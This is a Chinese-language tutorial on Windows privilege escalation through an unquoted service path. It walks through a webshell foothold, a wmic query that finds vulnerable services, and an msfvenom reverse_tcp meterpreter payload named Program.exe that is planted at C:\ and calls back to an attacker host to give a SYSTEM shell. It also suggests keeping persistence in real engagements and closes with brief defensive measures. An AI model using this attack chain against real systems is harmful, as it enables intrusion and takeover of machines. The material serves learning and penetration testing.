不带引号服务路径提权原理及演示
一、介绍
1.漏洞简介:
当创建可执行路径包含空格且未包含在引号内的服务时,会导致称为未引用服务路径的漏洞,该漏洞允许用户获得SYSTEM权限(当易受攻击的服务以 SYSTEM 权限运行时)。
2.漏洞原理:
在 Windows 中,如果服务没有用引号括起来并且有空格,它会将空格作为中断处理,并将服务路径的其余部分作为参数传递。
二、演示
环境准备:
靶机:腾讯云服务器 装有phpstudy环境的Windows server 2012 IP地址:49.xxx.xxx.xxx
攻击机:阿里云服务器 装有msf的ubuntu系统 IP地址:101.xxx.xxx.xxx
1.上传webshell后,打开网站
2.输入命令查看调用执行程序时不带引号的程序,从中挑选出带空格的
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
选择该程序文件
3.msf生成名为Program.exe的木马,并开启监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP地址 LPORT=4444 -f exe > Program.exe
为什么要命名为Program.exe?
如果路径包含空格并且没有用引号引起来,Windows API 必须假定在哪里可以找到引用的应用程序。服务会按照以下顺序依次执行
C:\Program.exe
C:\Program Files\qcloud\tat_agent\tat_agent.exe
所以将木马命名为Program.exe,并将其放在C盘根目录,会使其优先执行
4.利用webshell将该木马上传至靶机c盘根目录
5.在靶机启动该服务,攻击机收到反弹shell
我们通过webshell是无法启动服务的,实战中可以使管理员重启服务器,服务就能被开启了。
这里我们模拟管理员启动该服务
6.查看权限,成功提权
靶机启动服务后,只能连接一小段时间,实战中做好权限维持即可
三、防御措施
1.确保路径中包含空格的任何服务都将路径括在引号中。
2.通过设置非特定于用户或特权账户的目录和文件权限来限制访问。
3.通过应用程序控制或脚本来阻止系统上的代码执行。